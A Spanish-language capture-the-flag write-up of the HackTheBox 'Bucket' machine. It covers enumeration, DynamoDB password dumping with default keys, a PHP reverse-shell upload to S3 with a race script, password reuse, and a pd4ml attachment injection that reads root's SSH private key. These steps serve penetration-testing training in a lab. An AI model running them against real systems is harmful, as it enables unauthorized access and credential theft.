Bucket es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Bucket 10.10.10.212 a /etc/hosts como bucket.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
# Nmap 7.70 scan initiated Thu Dec 3 21:12:42 2020 as: nmap -sC -p- -A -oA enumeration/nmap 10.10.10.212 Nmap scan report for 10.10.10.212 Host is up (0.11s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://bucket.htb/ No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=12/3%OT=22%CT=1%CU=36592%PV=Y%DS=2%DC=T%G=Y%TM=5FC9491 OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7% OS:O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y% OS:DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD= OS:0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O= OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40% OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 102.97 ms 10.10.14.1 2 134.50 ms 10.10.10.212 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Dec 3 21:22:45 2020 -- 1 IP address (1 host up) scanned in 603.94 seconds |
En esta máquina no vemos de primeras muchos puertos abiertos, asi que vamos directamente a revisar el portal web existente.
Enumeración
Accedemos al portal web y observamos la siguiente página web:
No vemos nada de primeras, más que un simple html, así que revisamos el código fuente y encontramos un subdominio al revisar la localización de las imágenes incrustadas:
Añadiremos el subdominio s3.bucket.htb a nuestro fichero /etc/hosts y accederemos al mismo a través del navegador, donde vemos el siguiente fragmente en json que indica que el servicio está funcionando:
No vemos mucho más así que vamos a intentar descubrir si existe algún directorio en este nuevo subdominio, utilizaremos para ello gobuster:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ gobuster dir -u http://s3.bucket.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 30 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://s3.bucket.htb [+] Threads: 30 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/03 21:19:57 Starting gobuster =============================================================== /health (Status: 200) /shell (Status: 200) /server-status (Status: 403) =============================================================== 2020/12/03 21:57:49 Finished =============================================================== |
Y descubrimos dos directorios, el primero de ellos, /health, nos muestra los servicios disponibles, en este caso están s3 y dynamodb de AWS:
Pero nada más en el mismo, en el segundo de ellos observamos una web shell del servicio dynamodb de aws:
Vamos a probar el acceso a los servicios descubiertos, pero no tenemos unas claves como tal, y la webshell parece que tiene valores por defecto así que utilizaremos las claves que aparecen en la documentación de aws para el ejemplo en la siguiente url:
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html
Y configuramos aws:
1 |
$ aws configure |
Una vez añadidas las credenciales, en nuestro caso hemos añadido un perfil nuevo, procedemos a revisar las tablas existentes en el servicio dynamodb:
1 2 3 4 5 6 |
$ aws --profile "bucket.htb" dynamodb list-tables --endpoint-url http://s3.bucket.htb { "TableNames": [ "users" ] } |
Descubrimos la tabla users, por lo que ahora vamos a ver el contenido de la misma:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ aws --profile "bucket.htb" dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb { "Items": [ { "password": { "S": "Management@#1@#" }, "username": { "S": "Mgmt" } }, { "password": { "S": "Welcome123!" }, "username": { "S": "Cloudadm" } }, { "password": { "S": "n2vM-<_K_Q:.Aa2" }, "username": { "S": "Sysadm" } } ], "Count": 3, "ScannedCount": 3, "ConsumedCapacity": null } |
Donde obtenemos las contraseñas de varios usuarios, aunque todavía no podemos hacer nada con las mismas.
Revisaremos ahora el servicio de S3, y en primer lugar listaremos los bucket existentes:
1 2 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls 2020-12-03 21:45:08 adserver |
Sólo hay uno así que revisaremos el contenido del mismo:
1 2 3 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver PRE images/ 2020-12-03 21:45:11 5344 index.html |
Revisamos los ficheros existentes y se trata del fichero index y las imágenes que vimos en el primer portal web que visitamos por lo que intentaremos subir una reverse shell en php con el objetivo de ejecutarla en el portal y conseguir acceso al servidor. En nuestro caso hemos sacado la reverse shell del repositorio de github de pentestmonkey.
Así que una vez creado nuestro fichero lo subimos al bucket y verificamos que el mismo existe:
1 2 3 4 5 6 |
$ aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/images/ && aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/images/ upload: ./shell.php to s3://adserver/images/shell.php 2020-12-03 21:51:11 37840 bug.jpg 2020-12-03 21:51:11 51485 cloud.png 2020-12-03 21:51:11 16486 malware.png 2020-12-03 21:52:22 5493 shell.php |
Y vemos que el fichero se ha subido correctamente, pero lanzamos un curl y este nos da un error 404:
1 2 3 4 5 6 7 8 9 10 |
$ curl http://bucket.htb/images/shell.php <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at bucket.htb Port 80</address> </body></html> |
Revisamos de nuevo el mismo y este se ha borrado por lo que parece que existe algún script de limpieza que elimina el fichero a los pocos segundos de subirlo. Haremos entonces un script que suba el fichero y automáticamente lance un curl para ejecutar el mismo, el script tendrá el siguiente contenido:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
#!/bin/bash echo "Upload shell.php file" aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://adserver/images/ echo "Check if file is uploaded" aws --profile "bucket.htb" --endpoint-url http://s3.bucket.htb s3 ls s3://adserver/images/ curl --write-out "%{http_code}\n" -s -o /dev/null http://bucket.htb/images/shell.php resp=404 while [[ $resp == "404" ]]; do resp=$(curl --write-out "%{http_code}\n" -s -o /dev/null http://s3.bucket.htb/adserver/images/shell.php) echo ${resp} sleep 0.1; done |
Ejecutaremos el mismo y conseguiremos nuestra shell inversa con el usuario www-data:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from bucket.htb [10.10.10.212] 40064 Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 21:06:08 up 51 min, 0 users, load average: 0.16, 1.23, 1.88 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Revisamos a continuación los usuarios existentes en la máquina y vemos que existe el usuario roy, por lo que trataremos de acceder con el mismo con las contraseñas que descubrimos anteriormente en la tabla users del servicio dynamodb.
Y conseguimos acceder con una de ellas:
1 2 3 4 5 6 |
$ su roy Password: n2vM-<_K_Q:.Aa2 id uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm) whoami roy |
Obteniendo la flag de user
Ahora que ya tenemos acceso con el usuario roy, obtendremos una shell más cómoda con python y conseguiremos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 |
python3 -c 'import pty;pty.spawn("/bin/bash")' roy@bucket:/$ cd cd roy@bucket:~$ ls -l ls -l total 8 drwxr-xr-x 3 roy roy 4096 Sep 24 03:16 project -r-------- 1 roy roy 33 Dec 3 20:15 user.txt roy@bucket:~$ cat user.txt cat user.txt cxxxxxxxxxxxxxxxxxxxxxxxxd roy@bucket:~$ |
Primer paso completado, vamos a por root.
Escalado de privilegios
Ahora que tenemos un usuario con más privilegios que www-data, vamos a crear una clave ssh y la añadiremos al usuario roy para hacer más cómoda la enumeración posterior.
Una vez dentro con nuestra clave encontramos un directorio interesante en la ruta /var/www/bucket-app con permisos de root, aunque observamos que tiene una acl configurada:
1 2 3 4 5 6 7 8 9 |
roy@bucket:/var/www$ getfacl bucket-app/ # file: bucket-app/ # owner: root # group: root user::rwx user:roy:r-x group::r-x mask::r-x other::--- |
Y dentro del mismo vemos los siguientes ficheros y directorios:
1 2 3 4 5 6 7 8 9 10 11 |
roy@bucket:/var/www$ cd bucket-app/ roy@bucket:/var/www/bucket-app$ ll total 856 drwxr-x---+ 4 root root 4096 Sep 23 10:56 ./ drwxr-xr-x 4 root root 4096 Sep 21 12:28 ../ -rw-r-x---+ 1 root root 63 Sep 23 02:23 composer.json* -rw-r-x---+ 1 root root 20533 Sep 23 02:23 composer.lock* drwxr-x---+ 2 root root 4096 Sep 23 03:29 files/ -rwxr-x---+ 1 root root 17222 Sep 23 03:32 index.php* -rwxr-x---+ 1 root root 808729 Jun 10 11:50 pd4ml_demo.jar* drwxr-x---+ 10 root root 4096 Sep 23 02:23 vendor/ |
Revisamos los mismos y encontramos algo muy interesante en el fichero index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<?php require 'vendor/autoload.php'; use Aws\DynamoDb\DynamoDbClient; if($_SERVER["REQUEST_METHOD"]==="POST") { if($_POST["action"]==="get_alerts") { date_default_timezone_set('America/New_York'); $client = new DynamoDbClient([ 'profile' => 'default', 'region' => 'us-east-1', 'version' => 'latest', 'endpoint' => 'http://localhost:4566' ]); $iterator = $client->getIterator('Scan', array( 'TableName' => 'alerts', 'FilterExpression' => "title = :title", 'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")), )); foreach ($iterator as $item) { $name=rand(1,10000).'.html'; file_put_contents('files/'.$name,$item["data"]); } passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf"); } |
Observamos que aparece un punto de acceso desconocido hasta el momento en la red local, una tabla nueva en dynamodb llamada alerts y un ejecutable en java para la creación de un fichero pdf por lo que buscamos en google alguna forma de abusar de este servicio de pdf y encontramos el siguiente enlace donde trata el tema:
https://pd4ml.com/cookbook/pdf-attachments.htm
Así que para completar esta parte necesitaremos realizar varios pasos.
- Acceder al puerto 4566 de la máquina local mediante un forward a un puerto local en nuestra máquina
- Crear la tabla alerts
- Añadir los datos indicados y la creación del fichero pdf con la clave ssh de root
- Lanzar una petición POST con el parámetro “action=get_alerts”
Explicados los pasos continuaremos con ello. En primer lugar hacemos un forward de un puerto local al puerto del servidor bucket:
1 |
$ ssh -L 12312:127.0.0.1:8000 roy@10.10.10.212 |
Para verificar que funciona correctamente, accedemos a través del navegador a la url http://127.0.0.1:12312 y observamos la siguiente página en construcción:
Completado este primer paso, crearemos la tabla alerts en la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
roy@bucket:~$ aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=10 --endpoint-url http://127.0.0.1:4566 { "TableDescription": { "AttributeDefinitions": [ { "AttributeName": "title", "AttributeType": "S" } ], "TableName": "alerts", "KeySchema": [ { "AttributeName": "title", "KeyType": "HASH" } ], "TableStatus": "ACTIVE", "CreationDateTime": 1607034279.626, "ProvisionedThroughput": { "LastIncreaseDateTime": 0.0, "LastDecreaseDateTime": 0.0, "NumberOfDecreasesToday": 0, "ReadCapacityUnits": 10, "WriteCapacityUnits": 10 }, "TableSizeBytes": 0, "ItemCount": 0, "TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts" } } |
Y haremos un insert de los datos indicados en el fichero index.php:
1 2 3 4 5 6 7 |
roy@bucket:~$ aws dynamodb put-item --table-name alerts --item '{"title": {"S":"Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"file.txt\" icon=\"Paperclip\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566 { "ConsumedCapacity": { "TableName": "alerts", "CapacityUnits": 1.0 } } |
Por último paso lanzaremos la petición POST:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ curl -X POST -d "action=get_alerts" http://127.0.0.1:12312/ -v Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 127.0.0.1:12312... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 12312 (#0) > POST / HTTP/1.1 > Host: 127.0.0.1:12312 > User-Agent: curl/7.65.1 > Accept: */* > Content-Length: 17 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 17 out of 17 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Thu, 03 Dec 2020 22:36:22 GMT < Server: Apache/2.4.41 (Ubuntu) < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 127.0.0.1 left intact |
Completados los pasos, accederemos al navegador a la ruta http:127.0.0.1:12312/files y vemos que ha generado nuestro fichero:
Ahora nos queda abrir el fichero pdf y descargar la clave ssh de root:
Obteniendo la flag de root
Como último paso accederemos con el usuario root y la clave obtenida en el último paso para conseguir nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
ssh -i /tmp/root.pem root@bucket.htb Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu 03 Dec 2020 10:39:08 PM UTC System load: 0.04 Usage of /: 40.4% of 19.56GB Memory usage: 20% Swap usage: 0% Processes: 189 Users logged in: 1 IPv4 address for br-bee97070fb20: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.212 IPv6 address for ens160: dead:beef::250:56ff:feb9:40e5 * Kubernetes 1.19 is out! Get it in one command with: sudo snap install microk8s --channel=1.19 --classic https://microk8s.io/ has docs and details. 91 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Oct 13 10:25:01 2020 root@bucket:~# whoami root root@bucket:~# id uid=0(root) gid=0(root) groups=0(root) oot@bucket:~# ls -l total 36 drwxr-xr-x 3 root root 4096 Sep 16 12:47 backups -rw-r--r-- 1 root root 217 Sep 24 02:18 docker-compose.yml drwxr-xr-x 7 root root 4096 Dec 3 22:39 files -rwxr-xr-x 1 root root 1694 Sep 24 04:09 restore.php -rwxr-xr-x 1 root root 381 Sep 24 02:33 restore.sh -r-------- 1 root root 33 Dec 3 20:15 root.txt drwxr-xr-x 3 root root 4096 May 18 2020 snap -rwxr-xr-x 1 root root 340 Sep 24 02:40 start.sh -rwxr-xr-x 1 root root 182 Sep 24 02:08 sync.sh root@bucket:~# cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxa root@bucket:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace